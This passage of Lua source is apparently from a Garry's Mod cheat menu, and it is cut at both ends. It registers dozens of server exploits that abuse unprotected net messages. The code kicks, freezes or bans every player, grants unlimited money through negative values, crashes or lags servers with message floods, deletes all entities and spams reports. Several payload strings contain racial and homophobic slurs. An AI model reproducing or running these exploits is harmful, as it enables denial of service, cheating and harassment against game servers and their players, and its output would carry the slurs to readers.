6382CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #2 [RecKickAFKer]")
6383addExploit( "129","Kick Tous Le Monde #2", "Kick Tous Le Monde", function()
6384surface.PlaySound("garrysmod/ui_click.wav")
6385NOTIFICATION("Starting")
6386for k, v in pairs( player.GetAll() ) do
6387net.Start("RecKickAFKer")
6388net.WriteEntity(v)
6389net.SendToServer()
6390end
6391end )
6392end
6393
6394status = ValidNetString("GMBG:PickupItem")
6395if (status) then
6396CHATPRINT("Exploit Trouvé : Loot Items [GMBG:PickupItem]")
6397addExploit( "130","Loot Items", "", function()
6398surface.PlaySound("garrysmod/ui_click.wav")
6399NOTIFICATION("Starting")
6400for k, v in pairs(ents.GetAll()) do
6401if v:GetClass() == "item_loot" then
6402net.Start("GMBG:PickupItem")
6403net.WriteEntity(v)
6404net.SendToServer()
6405net.Start("GMBG:PickupItem")
6406net.WriteEntity(v)
6407net.SendToServer()
6408net.Start("GMBG:PickupItem")
6409net.WriteEntity(v)
6410net.SendToServer()
6411net.Start("GMBG:PickupItem")
6412net.WriteEntity(v)
6413net.SendToServer()
6414net.Start("GMBG:PickupItem")
6415net.WriteEntity(v)
6416net.SendToServer()
6417net.Start("GMBG:PickupItem")
6418net.WriteEntity(v)
6419net.SendToServer()
6420end
6421end
6422end )
6423end
6424
6425status = ValidNetString("plyWarning")
6426if (status) then
6427CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #3 [plyWarning]")
6428addExploit( "131","Kick Tous Le Monde #3", "Kick Tous Le Monde", function()
6429surface.PlaySound("garrysmod/ui_click.wav")
6430NOTIFICATION("Starting")
6431for k, v in pairs( player.GetAll() ) do
6432net.Start('plyWarning')
6433net.WriteEntity(v)
6434net.WriteString('You have to select a player before doing a action.')
6435net.SendToServer()
6436end
6437end )
6438end
6439
6440status = ValidNetString("NLR.ActionPlayer")
6441if (status) then
6442CHATPRINT("Exploit Trouvé : Freeze Everyone [NLR.ActionPlayer]")
6443addExploit( "132","Freeze Everyone", "", function()
6444surface.PlaySound("garrysmod/ui_click.wav")
6445NOTIFICATION("Starting")
6446for k, v in pairs( player.GetAll() ) do
6447net.Start("NLR.ActionPlayer")
6448net.WriteEntity(v)
6449net.SendToServer()
6450end
6451end )
6452end
6453
6454status = ValidNetString("kart_sell")
6455if (status) then
6456CHATPRINT("Exploit Trouvé : Argent Gratuite #15 [kart_sell]")
6457addExploit( "133","Argent Gratuite #15", "Recevoir De L'Argent", function()
6458surface.PlaySound("garrysmod/ui_click.wav")
6459NOTIFICATION("Starting")
6460for i=1, 300 do
6461net.Start("kart_sell")
6462net.WriteString("sw_gokart")
6463net.SendToServer()
6464end
6465end )
6466end
6467
6468status = ValidNetString("ClickerAddToPoints")
6469if (status) then
6470CHATPRINT("Exploit Trouvé : Free Points [ClickerAddToPoints]")
6471addExploit( "134","Free Points", "", function()
6472surface.PlaySound("garrysmod/ui_click.wav")
6473NOTIFICATION("Starting")
6474net.Start("ClickerAddToPoints")
6475net.WriteInt(99999999, 32)
6476net.SendToServer()
6477end )
6478end
6479
6480status = ValidNetString("bodyman_model_change")
6481if (status) then
6482CHATPRINT("Exploit Trouvé : Body Groups [bodyman_model_change]")
6483addExploit( "135","Body Groups", "constantly changes your appearance", function()
6484surface.PlaySound("garrysmod/ui_click.wav")
6485NOTIFICATION("Starting")
6486local PM = 1
6487local SK = 1
6488local BG = 1
6489local HN = 1
6490local TS = 1
6491local GL = 1
6492local LG = 1
6493if !timer.Exists( "bodygroups" ) then
6494timer.Create("bodygroups", 0, 0, function()
6495PlayerModels = {0,1,2,3,4,5,6}
6496Torso = {0,1,2,3,4,5,6,7,8,9,10}
6497Legs = {0,1,2,3,4,5,6}
6498Hands = {0,1,2}
6499Glasses = {0,1}
6500Skins = {0,1,2,3,4,5,6,7,8,9,10}
6501PM = PM+1
6502TS = TS+1
6503LG = LG+1
6504HN = HN+1
6505GL = GL+1
6506SK = SK+1
6507if (PM>#PlayerModels) then PM=1 end
6508if (SK>#Skins) then SK=1 end
6509if (HN>#Hands) then HN=1 end
6510if (TS>#Torso) then TS=1 end
6511if (GL>#Glasses) then GL=1 end
6512if (LG>#Legs) then LG=1 end
6513net.Start("bodyman_model_change")
6514net.WriteInt(PlayerModels[PM], 10 )
6515net.SendToServer()
6516net.Start("bodygroups_change")
6517net.WriteTable( { 1, Torso[TS] } )
6518net.SendToServer()
6519net.Start("bodygroups_change")
6520net.WriteTable( { 2, Legs[LG] } )
6521net.SendToServer()
6522net.Start("bodygroups_change")
6523net.WriteTable( { 3, Hands[HN] } )
6524net.SendToServer()
6525net.Start("bodygroups_change")
6526net.WriteTable( { 4, Glasses[GL] } )
6527net.SendToServer()
6528end )
6529else
6530timer.Remove("bodygroups")
6531NOTIFICATION("Stopping")
6532end
6533end )
6534end
6535
6536status = ValidNetString("bodyman_model_change_maxrp_57463741")
6537if (status) then
6538CHATPRINT("[88.2] Exploit Trouvé : Body Groups MAXRP [bodyman_model_change_maxrp_57463741]")
6539addExploit( "5505","Body Groups MAXRP", "constantly changes your appearance", function()
6540surface.PlaySound("garrysmod/ui_click.wav")
6541NOTIFICATION("Starting")
6542local PM = 1
6543local SK = 1
6544local BG = 1
6545local HN = 1
6546local TS = 1
6547local GL = 1
6548local LG = 1
6549if !timer.Exists( "bodygroups" ) then
6550timer.Create("bodygroups", 0, 0, function()
6551PlayerModels = {0,1,2,3,4,5,6}
6552Torso = {0,1,2,3,4,5,6,7,8,9,10}
6553Legs = {0,1,2,3,4,5,6}
6554Hands = {0,1,2}
6555Glasses = {0,1}
6556Skins = {0,1,2,3,4,5,6,7,8,9,10}
6557PM = PM+1
6558TS = TS+1
6559LG = LG+1
6560HN = HN+1
6561GL = GL+1
6562SK = SK+1
6563if (PM>#PlayerModels) then PM=1 end
6564if (SK>#Skins) then SK=1 end
6565if (HN>#Hands) then HN=1 end
6566if (TS>#Torso) then TS=1 end
6567if (GL>#Glasses) then GL=1 end
6568if (LG>#Legs) then LG=1 end
6569net.Start("bodygroups_change_maxrp_57457451")
6570net.WriteInt(PlayerModels[PM], 10 )
6571net.SendToServer()
6572net.Start("bodygroups_change_maxrp_57457451")
6573net.WriteTable( { 1, Torso[TS] } )
6574net.SendToServer()
6575net.Start("bodygroups_change_maxrp_57457451")
6576net.WriteTable( { 2, Legs[LG] } )
6577net.SendToServer()
6578net.Start("bodygroups_change_maxrp_57457451")
6579net.WriteTable( { 3, Hands[HN] } )
6580net.SendToServer()
6581net.Start("bodygroups_change_maxrp_57457451")
6582net.WriteTable( { 4, Glasses[GL] } )
6583net.SendToServer()
6584end )
6585else
6586timer.Remove("bodygroups")
6587NOTIFICATION("Stopping")
6588end
6589end )
6590end
6591
6592status = ValidNetString("SendMoney")
6593if (status) then
6594CHATPRINT("Exploit Trouvé : Argent Gratuite #16 [SendMoney]")
6595addExploit( "136","Argent Gratuite #16", "Recevoir De L'Argent", function()
6596surface.PlaySound("garrysmod/ui_click.wav")
6597NOTIFICATION("Starting")
6598hook.Remove( "HUDPaint", "skhdsakjl")
6599net.Start("SendMoney")
6600net.WriteEntity(LocalPlayer())
6601net.WriteEntity(LocalPlayer())
6602net.WriteEntity(LocalPlayer())
6603net.WriteString("-99999999")
6604net.SendToServer()
6605end )
6606end
6607
6608status = ValidNetString("BailOut")
6609if (status) then
6610CHATPRINT("Exploit Trouvé : Argent Gratuite #17 [BailOut]")
6611addExploit( "137","Argent Gratuite #17", "", function()
6612surface.PlaySound("garrysmod/ui_click.wav")
6613NOTIFICATION("Starting")
6614for k, v in pairs(player.GetAll()) do
6615net.Start("BailOut")
6616net.WriteEntity(LocalPlayer())
6617net.WriteEntity(v)
6618net.WriteFloat(-999999999)
6619net.SendToServer()
6620end
6621end )
6622end
6623
6624status = ValidNetString("hitcomplete")
6625if (status) then
6626CHATPRINT("Exploit Trouvé : Argent Gratuite #18 [hitcomplete]")
6627addExploit( "138","Argent Gratuite #18", "Recevoir De L'Argent", function()
6628surface.PlaySound("garrysmod/ui_click.wav")
6629NOTIFICATION("Starting")
6630net.Start("hitcomplete")
6631net.WriteDouble(99999999)
6632net.SendToServer()
6633end )
6634end
6635----------------------------------------
6636for k,v in pairs(player.GetAll()) do
6637dahater = v
6638end
6639----------------------------------------
6640status = ValidNetString("hhh_request")
6641if (status) then
6642CHATPRINT("Exploit Trouvé : Argent Gratuite #19 [hhh_request]")
6643addExploit( "139","Argent Gratuite #19", "Recevoir De L'Argent", function()
6644surface.PlaySound("garrysmod/ui_click.wav")
6645NOTIFICATION("Starting")
6646local plyhhh = LocalPlayer()
6647if dahater != plyhhh then
6648local hitRequest = {}
6649hitRequest.hitman = plyhhh
6650hitRequest.requester = plyhhh
6651hitRequest.target = dahater
6652hitRequest.reward = -9999999
6653net.Start('hhh_request')
6654net.WriteTable(hitRequest)
6655net.SendToServer()
6656else
6657CHATPRINT("In this version of HHH, you can not use an exploit!")
6658end
6659end )
6660end
6661
6662status = ValidNetString("DaHit")
6663if (status) then
6664CHATPRINT("Exploit Trouvé : Argent Gratuite #20 [DaHit]")
6665addExploit( "140","Argent Gratuite #20", "Recevoir De L'Argent", function()
6666surface.PlaySound("garrysmod/ui_click.wav")
6667NOTIFICATION("Starting")
6668hook.Remove( "HUDPaint", "skhdsakjl")
6669net.Start("DaHit")
6670net.WriteFloat(-99999999)
6671net.WriteEntity(LocalPlayer())
6672net.WriteEntity(LocalPlayer())
6673net.WriteEntity(LocalPlayer())
6674net.SendToServer()
6675end )
6676end
6677
6678status = ValidNetString("textstickers_entdata")
6679if (status) then
6680CHATPRINT("Exploit Trouvé : Crash #2 [textstickers_entdata]")
6681addExploit( "141","Crash #2", "1tap", function()
6682surface.PlaySound("garrysmod/ui_click.wav")
6683NOTIFICATION("Starting")
6684net.Start("textstickers_entdata")
6685net.WriteUInt(0xFFFFFFF, 32)
6686net.SendToServer()
6687end )
6688end
6689
6690status = ValidNetString("gBan.BanBuffer")
6691if (status) then
6692CHATPRINT("Exploit Trouvé : gBan Everyone [gBan.BanBuffer]")
6693addExploit( "142","gBan Everyone", "exploit in the old version of gban", function()
6694surface.PlaySound("garrysmod/ui_click.wav")
6695NOTIFICATION("Starting")
6696for k,v in pairs(player.GetAll()) do
6697if v != LocalPlayer() then
6698net.Start("gBan.BanBuffer")
6699net.WriteBool(true)
6700net.WriteInt(0, 32)
6701net.WriteString("haha owned")
6702net.WriteString(v:SteamID())
6703net.SendToServer()
6704end
6705end
6706end )
6707end
6708
6709status = ValidNetString("ARMORY_RetrieveWeapon")
6710if (status) then
6711CHATPRINT("Exploit Trouvé : Armure Gratuitey #1 [ARMORY_RetrieveWeapon]")
6712addExploit( "143","Armure Gratuitey #1", "get weapon #1", function()
6713surface.PlaySound("garrysmod/ui_click.wav")
6714NOTIFICATION("Starting")
6715net.Start("ARMORY_RetrieveWeapon")
6716net.WriteString("weapon1")
6717net.SendToServer()
6718end )
6719end
6720
6721status = ValidNetString("ARMORY_RetrieveWeapon")
6722if (status) then
6723CHATPRINT("Exploit Trouvé : Armure Gratuitey #2 [ARMORY_RetrieveWeapon]")
6724addExploit( "144","Armure Gratuitey #2", "get weapon #2", function()
6725surface.PlaySound("garrysmod/ui_click.wav")
6726NOTIFICATION("Starting")
6727net.Start("ARMORY_RetrieveWeapon")
6728net.WriteString("weapon2")
6729net.SendToServer()
6730end )
6731end
6732
6733status = ValidNetString("ARMORY_RetrieveWeapon")
6734if (status) then
6735CHATPRINT("Exploit Trouvé : Armure Gratuitey #3 [ARMORY_RetrieveWeapon]")
6736addExploit( "145","Armure Gratuitey #3", "get weapon #3", function()
6737surface.PlaySound("garrysmod/ui_click.wav")
6738NOTIFICATION("Starting")
6739net.Start("ARMORY_RetrieveWeapon")
6740net.WriteString("weapon3")
6741net.SendToServer()
6742end )
6743end
6744
6745status = ValidNetString("TransferReport")
6746if (status) then
6747CHATPRINT("Exploit Trouvé : Report Spammer [TransferReport]")
6748addExploit( "146","Report Spammer", "Report Tout Le Monde players", function()
6749surface.PlaySound("garrysmod/ui_click.wav")
6750NOTIFICATION("Starting")
6751net.Start("TransferReport")
6752net.WriteString(v:SteamID())
6753net.WriteString("CHINKGANG FAGOTS")
6754net.WriteString("DITCH THIS SHITTY SERVER AND BUY 88Triggering TODAY")
6755net.SendToServer()
6756end )
6757end
6758
6759status = ValidNetString("FIRE_CreateFireTruck")
6760if (status) then
6761CHATPRINT("Exploit Trouvé : Create Fire Truck [FIRE_CreateFireTruck]")
6762addExploit( "147","Create Fire Truck", "", function()
6763surface.PlaySound("garrysmod/ui_click.wav")
6764NOTIFICATION("Starting")
6765net.Start("FIRE_CreateFireTruck")
6766net.SendToServer()
6767end )
6768end
6769
6770status = ValidNetString("TFA_Attachment_RequestAll")
6771if (status) then
6772CHATPRINT("Exploit Trouvé : Lagger #20 [TFA_Attachment_RequestAll]")
6773addExploit( "148","Lagger #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
6774surface.PlaySound("garrysmod/ui_click.wav")
6775if !timer.Exists( "lagger20" ) then
6776timer.Create("lagger20", 0,0, function()
6777for i = 1, 800 do
6778net.Start("TFA_Attachment_RequestAll",true)
6779net.SendToServer()
6780end
6781end)
6782NOTIFICATION("Starting Lagger")
6783else
6784timer.Remove("lagger20")
6785NOTIFICATION("Stopping Lagger")
6786end
6787end)
6788end
6789
6790status = ValidNetString("FIRE_RemoveFireTruck")
6791if (status) then
6792CHATPRINT("Exploit Trouvé : Remove Fire Truck [FIRE_RemoveFireTruck]")
6793addExploit( "149","Remove Fire Truck", "", function()
6794surface.PlaySound("garrysmod/ui_click.wav")
6795NOTIFICATION("Starting")
6796net.Start("FIRE_RemoveFireTruck")
6797net.SendToServer()
6798end )
6799end
6800
6801status = ValidNetString("gPrinters.sendID")
6802if (status) then
6803CHATPRINT("Exploit Trouvé : Lagger #21 [gPrinters.sendID]")
6804addExploit( "150","Lagger #21", "B1G LAGZ, discovered by Leith", function()
6805surface.PlaySound("garrysmod/ui_click.wav")
6806NOTIFICATION("Starting")
6807if not timer.Exists("lagger21") then
6808timer.Create("lagger21", 0, 0, function()
6809for i = 1, 1000 do
6810net.Start("gPrinters.sendID",true)
6811net.WriteEntity(LocalPlayer())
6812net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
6813net.SendToServer()
6814end
6815end )
6816end
6817end )
6818end
6819
6820status = ValidNetString("requestmoneyforvk") -- RusElite Server
6821if (status) then
6822CHATPRINT("Exploit Trouvé : Free 50k [requestmoneyforvk]")
6823addExploit( "151","Free 50k", "gives you 50k bypassing the validation check, discovered by Leith", function()
6824surface.PlaySound("garrysmod/ui_click.wav")
6825NOTIFICATION("Starting")
6826net.Start("requestmoneyforvk")
6827net.WriteEntity(LocalPlayer())
6828net.SendToServer()
6829end )
6830end
6831
6832status = ValidNetString("vj_testentity_runtextsd")
6833if (status) then
6834CHATPRINT("Exploit Trouvé : VJSay [NEW] [vj_testentity_runtextsd]")
6835addExploit( "152","VJSay [NEW]", "'fix' of the old exploit", function()
6836surface.PlaySound("garrysmod/ui_click.wav")
6837NOTIFICATION("Starting")
6838for k,v in pairs(player.GetAll()) do
6839net.Start("vj_testentity_runtextsd")
6840net.WriteEntity(v)
6841net.WriteString("OWNED OWNED OWNED OWNED OWNED OWNED OWNED OWNED ")
6842net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
6843net.SendToServer()
6844end
6845end )
6846end
6847
6848status = ValidNetString("NET_BailPlayer") -- need to test
6849if (status) then
6850CHATPRINT("Exploit Trouvé : Players Spam [NET_BailPlayer]")
6851addExploit( "153","Players Spam", "", function()
6852surface.PlaySound("garrysmod/ui_click.wav")
6853NOTIFICATION("Starting")
6854for k, v in pairs (player.GetAll()) do
6855net.Start("NET_BailPlayer")
6856net.WriteEntity(v)
6857net.WriteEntity(v)
6858net.SendToServer()
6859end
6860end )
6861end
6862
6863status = ValidNetString("Taxi_Add") -- need to test
6864if (status) then
6865CHATPRINT("Exploit Trouvé : Argent Gratuite #21 [Taxi_Add]")
6866addExploit( "154","Argent Gratuite #21", "maybe not work", function()
6867surface.PlaySound("garrysmod/ui_click.wav")
6868NOTIFICATION("Starting")
6869net.Start("Taxi_Add")
6870net.WriteString("MLG")
6871net.WriteTable({-1333.647461, -1473.931763, -139.968750})
6872net.WriteFloat(-99999999)
6873net.WriteString(Desc)
6874net.SendToServer()
6875end )
6876end
6877
6878status = ValidNetString("BuyCar")
6879if (status) then
6880CHATPRINT("Exploit Trouvé : Argent Gratuite #22 [BuyCar]")
6881addExploit( "155","Argent Gratuite #22", "Recevoir De L'Argent", function()
6882surface.PlaySound("garrysmod/ui_click.wav")
6883NOTIFICATION("Starting")
6884net.Start('BuyCar')
6885net.WriteFloat(-1000000)
6886net.WriteEntity(LocalPlayer())
6887net.WriteString("Gay")
6888net.WriteString("Cock")
6889net.WriteString("Twat")
6890net.SendToServer()
6891end )
6892end
6893
6894status = ValidNetString("rpi_trade_end")
6895if (status) then
6896CHATPRINT("Exploit Trouvé : Test Function [rpi_trade_end]")
6897addExploit( "156","Test Function", "just test", function()
6898surface.PlaySound("garrysmod/ui_click.wav")
6899NOTIFICATION("Starting")
6900local it = 0
6901timer.Create( util.CRC( tostring( CurTime() ) ), 0.5, 0, function()
6902if( it > #player.GetAll() ) then
6903it = 1;
6904else
6905it = it + 1;
6906end
6907net.Start("rpi_trade_end")
6908net.WriteUInt( it, 16 )
6909net.SendToServer()
6910end )
6911end )
6912end
6913
6914status = ValidNetString("ClickerForceSave")
6915if (status) then
6916CHATPRINT("Exploit Trouvé : Melon Crash [ClickerForceSave]")
6917addExploit( "157","Melon Crash", "", function()
6918surface.PlaySound("garrysmod/ui_click.wav")
6919NOTIFICATION("Starting")
6920hook.Add("Think","ps_spam",function()
6921for k, v in pairs (player.GetAll()) do
6922net.Start("ClickerForceSave")
6923net.WriteEntity(ply)
6924net.WriteInt(1, 1)
6925net.SendToServer()
6926end
6927end )
6928end )
6929end
6930
6931status = ValidNetString("SRequest")
6932if (status) then
6933CHATPRINT("Exploit Trouvé : Deagle Grab [SRequest]")
6934addExploit( "158","Deagle Grab", "", function()
6935surface.PlaySound("garrysmod/ui_click.wav")
6936NOTIFICATION("Starting")
6937for k, v in pairs (player.GetAll()) do
6938net.Start("SRequest")
6939net.WriteEntity(v)
6940net.SendToServer()
6941end
6942end )
6943end
6944
6945status = ValidNetString("HealButton")
6946if (status) then
6947CHATPRINT("Exploit Trouvé : PV Gratuit [HealButton]")
6948addExploit( "159","PV Gratuit", "PV Gratuit", function()
6949surface.PlaySound("garrysmod/ui_click.wav")
6950NOTIFICATION("Starting")
6951net.Start("HealButton")
6952net.WriteEntity(LocalPlayer())
6953net.WriteFloat(999999)
6954net.SendToServer()
6955end )
6956end
6957
6958status = ValidNetString("ArmorButton")
6959if (status) then
6960CHATPRINT("Exploit Trouvé : Armure Gratuite [ArmorButton]")
6961addExploit( "160","Armure Gratuite", "Armure Gratuite", function()
6962surface.PlaySound("garrysmod/ui_click.wav")
6963NOTIFICATION("Starting")
6964net.Start("ArmorButton")
6965net.WriteEntity(LocalPlayer())
6966net.WriteFloat(999999)
6967net.SendToServer()
6968end )
6969end
6970
6971status = ValidNetString("SprintSpeedset")
6972if (status) then
6973CHATPRINT("Exploit Trouvé : TTT SpeedHack [SprintSpeedset]")
6974addExploit( "161","TTT SpeedHack", "changes your speed", function()
6975surface.PlaySound("garrysmod/ui_click.wav")
6976NOTIFICATION("Starting")
6977net.Start("SprintSpeedset")
6978net.WriteFloat(math.min(math.max(2, 0.1),2 ))
6979net.SendToServer()
6980end )
6981end
6982
6983status = ValidNetString("GiveArmor100")
6984if (status) then
6985CHATPRINT("Exploit Trouvé : Exploit D'Armure [GiveArmor100]")
6986addExploit( "162","Exploit D'Armure ", "", function()
6987surface.PlaySound("garrysmod/ui_click.wav")
6988NOTIFICATION("Starting")
6989net.Start("GiveArmor100")
6990net.SendToServer()
6991end )
6992end
6993
6994status = ValidNetString("GiveSCP294Cup") -- NEED TO TEST !!
6995if (status) then
6996CHATPRINT("Exploit Trouvé : SCP 294 JAM [DOIT ÊTRE TEST] [GiveSCP294Cup]")
6997SCPLAG = 0
6998addExploit( "163","SCP 249 JAM!", "", function()
6999surface.PlaySound("garrysmod/ui_click.wav")
7000NOTIFICATION("Starting")
7001if (SCPLAG == 0) then
7002SCPLAG = 1
7003timer.Create( "LagThatShit", time, 0.05, function()
7004for k, v in pairs( ents.GetAll() ) do
7005if v:GetClass() == "scp294" then
7006net.Start("GiveSCP294Cup")
7007net.WriteString("shit")
7008net.WriteEntity(v)
7009net.SendToServer()
7010end
7011end
7012end)
7013else
7014SCPLAG = 0
7015timer.Remove("LagThatShit")
7016end
7017end)
7018end
7019
7020status = ValidNetString("Client_To_Server_OpenEditor")
7021if (status) then
7022CHATPRINT("Exploit Trouvé : SCP 249 Hack Menu De Boisson [Client_To_Server_OpenEditor]")
7023addExploit( "164","SCP 249 Drink Menu Hack", "", function()
7024surface.PlaySound("garrysmod/ui_click.wav")
7025NOTIFICATION("Starting")
7026net.Start("Client_To_Server_OpenEditor")
7027net.SendToServer()
7028end )
7029end
7030
7031status = ValidNetString("DuelMessageReturn")
7032if (status) then
7033CHATPRINT("Exploit Trouvé : Combat Fou [DuelMessageReturn]")
7034addExploit( "165","Combat Fou", "forces all players to fight with all players, discovered by Solly", function()
7035surface.PlaySound("garrysmod/ui_click.wav")
7036NOTIFICATION("Starting")
7037timer.Create("crazyduel", 0.1, 0, function()
7038s.duel[1] = table.Random( player.GetAll() )
7039s.duel[2] = table.Random( player.GetAll() )
7040net.Start("DuelMessageReturn")
7041net.WriteFloat(1)
7042net.WriteTable(s.duel)
7043net.SendToServer()
7044end )
7045end )
7046end
7047
7048status = ValidNetString("userAcceptPrestige")
7049if (status) then
7050CHATPRINT("Exploit Trouvé : Prestige Gratuit [userAcceptPrestige]")
7051addExploit( "166","Prestige Gratuit", "exploit for Prestige Gratuit", function()
7052surface.PlaySound("garrysmod/ui_click.wav")
7053NOTIFICATION("Starting")
7054net.Start("userAcceptPrestige")
7055net.SendToServer()
7056end )
7057end
7058
7059status = ValidNetString("wordenns")
7060if (status) then
7061CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #11 [wordenns]")
7062addExploit( "167","Voler L'argents De Tous #11", "withdraw money from all printers", function()
7063surface.PlaySound("garrysmod/ui_click.wav")
7064NOTIFICATION("Starting")
7065CHATPRINT("printers:".. tostring(#ents.FindByClass("derma_printer")))
7066for k,v in pairs(ents.FindByClass("derma_printer")) do
7067net.Start("wordenns")
7068net.WriteEntity(v)
7069net.SendToServer()
7070end
7071end)
7072end
7073
7074status = ValidNetString("guncraft_removeWorkbench")
7075if (status) then
7076CHATPRINT("Exploit Trouvé : Supprimer Toutes Les Entités [guncraft_removeWorkbench]")
7077addExploit( "168","Supprimer Toutes Les Entités", "an exploit in addon 'GunCraft'", function()
7078surface.PlaySound("garrysmod/ui_click.wav")
7079NOTIFICATION("Starting")
7080if !timer.Exists( "removentity" ) then
7081timer.Create("removentity", 3, 0, function()
7082for k,v in pairs(ents.GetAll()) do
7083net.Start("guncraft_removeWorkbench")
7084net.WriteEntity(v)
7085net.SendToServer()
7086end
7087end )
7088end
7089end )
7090end
7091
7092status = ValidNetString("BuyKey")
7093if (status) then
7094CHATPRINT("Exploit Trouvé : Blue Unbox Exploit [NEED TO TEST]")
7095addExploit( "169","Blue Unbox Exploit", "", function()
7096surface.PlaySound("garrysmod/ui_click.wav")
7097NOTIFICATION("Starting")
7098net.Start("BuyKey")
7099net.SendToServer()
7100net.Start("BuyCrate")
7101net.SendToServer()
7102end )
7103end
7104
7105status = ValidNetString("casinokit_chipexchange")
7106if (status) then
7107CHATPRINT("Exploit Trouvé : Argent Gratuite #23 [casinokit_chipexchange]")
7108addExploit( "170","Argent Gratuite #23", "only works if outdated", function()
7109surface.PlaySound("garrysmod/ui_click.wav")
7110NOTIFICATION("Starting")
7111local moneylog = LocalPlayer():getDarkRPVar("money")
7112net.Start("casinokit_chipexchange")
7113net.WriteEntity(self)
7114net.WriteString("darkrp")
7115net.WriteBool(true)
7116net.WriteUInt(LocalPlayer():getDarkRPVar("money"),32)
7117net.SendToServer()
7118timer.Simple(3, function()
7119for i=1, 5000 do
7120net.Start("casinokit_chipexchange")
7121net.WriteEntity(self)
7122net.WriteString("darkrp")
7123net.WriteBool(false)
7124net.WriteUInt(moneylog*0.10,32)
7125net.SendToServer()
7126end
7127end)
7128end )
7129end
7130
7131status = ValidNetString("PurchaseWeed")
7132if (status) then
7133CHATPRINT("Exploit Trouvé : Achetez Drogue [PurchaseWeed]")
7134addExploit( "171","Achetez Drogue", "", function()
7135surface.PlaySound("garrysmod/ui_click.wav")
7136NOTIFICATION("Starting")
7137net.Start("PurchaseWeed")
7138net.WriteInt(tonumber(10000),16)
7139net.WriteInt(tonumber(1),16)
7140net.WriteBool(LocalPlayer().Buying)
7141net.SendToServer()
7142end )
7143end
7144
7145status = ValidNetString("PurchaseWeed")
7146if (status) then
7147CHATPRINT("Exploit Trouvé : Sell Weed [PurchaseWeed]")
7148addExploit( "172","Sell Weed", "", function()
7149surface.PlaySound("garrysmod/ui_click.wav")
7150NOTIFICATION("Starting")
7151net.Start("PurchaseWeed")
7152net.WriteInt(tonumber(100),16)
7153net.WriteInt(tonumber(100),16)
7154net.WriteBool(LocalPlayer().Selling)
7155net.SendToServer()
7156end )
7157end
7158
7159status = ValidNetString("DoDealerDeliver")
7160if (status) then
7161CHATPRINT("Exploit Trouvé : Buy Tab [DoDealerDeliver]")
7162addExploit( "173","Buy Tab", "", function()
7163surface.PlaySound("garrysmod/ui_click.wav")
7164NOTIFICATION("Starting")
7165if(LocalPlayer():getDarkRPVar("money")>=WEED_CONFIG.TabletPrice) then
7166net.Start("DoDealerDeliver")
7167net.WriteBool(false)
7168net.SendToServer()
7169end
7170end )
7171end
7172
7173status = ValidNetString("DoDealerDeliver")
7174if (status) then
7175CHATPRINT("Exploit Trouvé : Buy Bong [DoDealerDeliver]")
7176addExploit( "174","Buy Bong", "", function()
7177surface.PlaySound("garrysmod/ui_click.wav")
7178NOTIFICATION("Starting")
7179if(LocalPlayer():getDarkRPVar("money")>=WEED_ITEMS.Items["Tools"]["bong"].price) then
7180net.Start("DoDealerDeliver")
7181net.WriteBool(true)
7182net.SendToServer()
7183end
7184end )
7185end
7186
7187status = ValidNetString("sendDuelInfo")
7188if (status) then
7189CHATPRINT("Exploit Trouvé : Duel NPC Exploit [sendDuelInfo]")
7190addExploit( "175","Duel NPC Exploit", "", function()
7191surface.PlaySound("garrysmod/ui_click.wav")
7192NOTIFICATION("Starting")
7193net.Start("sendDuelInfo")
7194net.WriteString(table.Random(player.GetAll()):Nick())
7195net.WriteString("xxdddd")
7196net.WriteString("1e+100")
7197net.WriteEntity(table.random(player.GetAll()):UserID())
7198net.WriteInt(3,3)
7199net.SendToServer()
7200end )
7201end
7202
7203status = ValidNetString("InviteMember")
7204if (status) then
7205CHATPRINT("Exploit Trouvé : Invite all players [InviteMember]")
7206addExploit( "176","Invite all players", "Invite all players to your org", function()
7207surface.PlaySound("garrysmod/ui_click.wav")
7208NOTIFICATION("Starting")
7209for k,v in pairs(player.GetAll()) do
7210net.Start("InviteMember")
7211net.WriteEntity(v)
7212net.WriteEntity(v)
7213net.WriteString("lol what")
7214net.SendToServer()
7215end
7216end )
7217end
7218
7219status = ValidNetString("newTerritory")
7220if (status) then
7221CHATPRINT("Exploit Trouvé : New Territory [newTerritory]")
7222addExploit( "177","New Territory", "", function()
7223surface.PlaySound("garrysmod/ui_click.wav")
7224NOTIFICATION("Starting")
7225for k,v in pairs(player.GetAll()) do
7226net.Start("newTerritory")
7227net.WriteString("Hackers")
7228net.WriteTable(t)
7229net.SendToServer()
7230end
7231end )
7232end
7233
7234status = ValidNetString("CreateOrganization")
7235if (status) then
7236CHATPRINT("Exploit Trouvé : Org Exploit [CreateOrganization]")
7237addExploit( "178","Org Exploit", "", function()
7238surface.PlaySound("garrysmod/ui_click.wav")
7239NOTIFICATION("Starting")
7240for k,v in pairs(player.GetAll()) do
7241net.Start("CreateOrganization")
7242net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7243net.WriteString( "Join my gang or will rekt u" )
7244net.SendToServer()
7245end
7246end )
7247end
7248
7249status = ValidNetString("DisbandOrganization")
7250if (status) then
7251CHATPRINT("Exploit Trouvé : Org Disband [DisbandOrganization]")
7252addExploit( "179","Org Disband", "", function()
7253surface.PlaySound("garrysmod/ui_click.wav")
7254NOTIFICATION("Starting")
7255net.Start("DisbandOrganization")
7256net.WriteEntity(LocalPlayer())
7257net.SendToServer()
7258end )
7259end
7260
7261status = ValidNetString("ChangeOrgName")
7262if (status) then
7263CHATPRINT("Exploit Trouvé : Org Change Name [ChangeOrgName]")
7264addExploit( "180","Org Change Name", "", function()
7265surface.PlaySound("garrysmod/ui_click.wav")
7266NOTIFICATION("Starting")
7267net.Start("ChangeOrgName")
7268net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
7269net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
7270net.WriteEntity(LocalPlayer())
7271net.SendToServer()
7272end )
7273end
7274
7275status = ValidNetString("IS_SubmitSID_C2S")
7276if (status) then
7277CHATPRINT("Exploit Trouvé : Free Reward [IS_SubmitSID_C2S | IS_GetReward_C2S]")
7278addExploit( "181","Free Reward", "", function()
7279surface.PlaySound("garrysmod/ui_click.wav")
7280NOTIFICATION("Starting")
7281net.Start("IS_SubmitSID_C2S")
7282net.WriteString("Killa")
